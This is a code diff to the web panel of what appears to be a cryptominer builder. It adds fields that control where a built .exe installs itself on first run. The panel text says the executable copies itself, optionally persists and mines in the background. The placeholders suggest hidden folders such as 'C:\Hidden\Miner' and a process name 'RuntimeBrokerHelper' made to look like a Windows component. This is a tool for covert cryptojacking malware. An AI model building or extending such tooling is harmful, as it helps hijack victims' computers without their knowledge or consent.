idle_duration_minutes: d.idle_duration_minutes,
|
||||
schedule_start: d.schedule_start,
|
||||
schedule_end: d.schedule_end,
|
||||
install_base: d.install_base || 'localappdata',
|
||||
install_custom_base: d.install_custom_base || '',
|
||||
install_relative_path: d.install_relative_path || 'CryptoMiner/{worker}-{build_short}',
|
||||
pool_host: config.pool.host,
|
||||
pool_port: config.pool.port,
|
||||
pool_tls: config.pool.use_tls,
|
||||
@@ -83,6 +87,10 @@ export default function BuilderPage() {
|
||||
setError('Wallet address is required');
|
||||
return;
|
||||
}
|
||||
if (form.install_base === 'custom' && !form.install_custom_base.trim()) {
|
||||
setError('Custom install base path is required when Install Base is Custom');
|
||||
return;
|
||||
}
|
||||
|
||||
setBuilding(true);
|
||||
try {
|
||||
@@ -112,6 +120,14 @@ export default function BuilderPage() {
|
||||
);
|
||||
}
|
||||
|
||||
const installPreview = previewInstallPath({
|
||||
install_base: form.install_base,
|
||||
install_custom_base: form.install_custom_base,
|
||||
install_relative_path: form.install_relative_path,
|
||||
worker_name: form.worker_name,
|
||||
process_name: form.process_name,
|
||||
});
|
||||
|
||||
return (
|
||||
<div className="page fade-in">
|
||||
<div className="page-header">
|
||||
@@ -339,6 +355,44 @@ export default function BuilderPage() {
|
||||
|
||||
<div className="form-section">
|
||||
<h3>Install & Process</h3>
|
||||
<p className="form-description">
|
||||
Double-clicking the built `.exe` embeds the miner on first run: copies itself to the path below,
|
||||
optionally persists, then starts mining in the background.
|
||||
</p>
|
||||
<div className="form-group">
|
||||
<label className="label">Install Base Folder <HelpTip field="install_base" /></label>
|
||||
<select className="select" value={form.install_base}
|
||||
onChange={(e) => updateField('install_base', e.target.value)}>
|
||||
<option value="localappdata">Local App Data (%LOCALAPPDATA%)</option>
|
||||
<option value="appdata">Roaming App Data (%APPDATA%)</option>
|
||||
<option value="programdata">Program Data (%ProgramData%)</option>
|
||||
<option value="userprofile">User Profile (%USERPROFILE%)</option>
|
||||
<option value="temp">Temp Folder (%TEMP%)</option>
|
||||
<option value="custom">Custom Path</option>
|
||||
</select>
|
||||
<FieldHint field="install_base" />
|
||||
</div>
|
||||
{form.install_base === 'custom' && (
|
||||
<div className="form-group">
|
||||
<label className="label">Custom Base Path <HelpTip field="install_custom_base" /></label>
|
||||
<input type="text" className="input mono" placeholder="C:\\Hidden\\Miner or %ProgramData%\\MyApp"
|
||||
value={form.install_custom_base}
|
||||
onChange={(e) => updateField('install_custom_base', e.target.value)} />
|
||||
<FieldHint field="install_custom_base" />
|
||||
</div>
|
||||
)}
|
||||
<div className="form-group">
|
||||
<label className="label">Install Subfolder <HelpTip field="install_relative_path" /></label>
|
||||
<input type="text" className="input mono"
|
||||
placeholder="CryptoMiner/{worker}-{build_short}"
|
||||
value={form.install_relative_path}
|
||||
onChange={(e) => updateField('install_relative_path', e.target.value)} />
|
||||
<FieldHint field="install_relative_path" />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Install Preview</label>
|
||||
<code className="path-display">{installPreview}</code>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Process Name <HelpTip field="process_name" /></label>
|
||||
<input type="text" className="input mono" placeholder="RuntimeBrokerHelper"
|
||||
|
||||
@@ -244,6 +244,46 @@ export default function SettingsPage() {
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
<div className="form-section">
|
||||
<h3>Install Location Defaults</h3>
|
||||
<p className="section-desc">Where built installers embed the miner on first run.</p>
|
||||
<div className="form-group">
|
||||
<label className="label">Install Base Folder <HelpTip field="install_base" /></label>
|
||||
<select
|
||||
className="select"
|
||||
value={config.default_agent_config.install_base || 'localappdata'}
|
||||
onChange={(e) => updateField('default_agent_config.install_base', e.target.value)}
|
||||
>
|
||||
<option value="localappdata">Local App Data (%LOCALAPPDATA%)</option>
|
||||
<option value="appdata">Roaming App Data (%APPDATA%)</option>
|
||||
<option value="programdata">Program Data (%ProgramData%)</option>
|
||||
<option value="userprofile">User Profile (%USERPROFILE%)</option>
|
||||
<option value="temp">Temp Folder (%TEMP%)</option>
|
||||
<option value="custom">Custom Path</option>
|
||||
</select>
|
||||
</div>
|
||||
{config.default_agent_config.install_base === 'custom' && (
|
||||
<div className="form-group">
|
||||
<label className="label">Custom Base Path <HelpTip field="install_custom_base" /></label>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono"
|
||||
value={config.default_agent_config.install_custom_base || ''}
|
||||
onChange={(e) => updateField('default_agent_config.install_custom_base', e.target.value)}
|
||||
placeholder="%ProgramData%\\HiddenApps"
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
<div className="form-group">
|
||||
<label className="label">Install Subfolder <HelpTip field="install_relative_path" /></label>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono"
|
||||
value={config.default_agent_config.install_relative_path || 'CryptoMiner/{worker}-{build_short}'}
|
||||
onChange={(e) => updateField('default_agent_config.install_relative_path', e.target.value)}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Display Mode <HelpTip field="display_mode" /></label>
|
||||
|
||||
@@ -110,6 +110,9 @@ export interface AgentDefaults {
|
||||
idle_duration_minutes: number;
|
||||
schedule_start: string;
|
||||
schedule_end: string;
|
||||
install_base: string;
|
||||
install_custom_base: string;
|
||||
install_relative_path: string;
|
||||
}
|
||||
|
||||
export interface BackgroundConfig {
|
||||
@@ -147,6 +150,9 @@ export interface BuildRequest {
|
||||
idle_duration_minutes: number;
|
||||
schedule_start: string;
|
||||
schedule_end: string;
|
||||
install_base: string;
|
||||
install_custom_base: string;
|
||||
install_relative_path: string;
|
||||
pool_host: string;
|
||||
pool_port: number;
|
||||
pool_tls: boolean;
|
||||
|
||||
Reference in New Issue
Block a user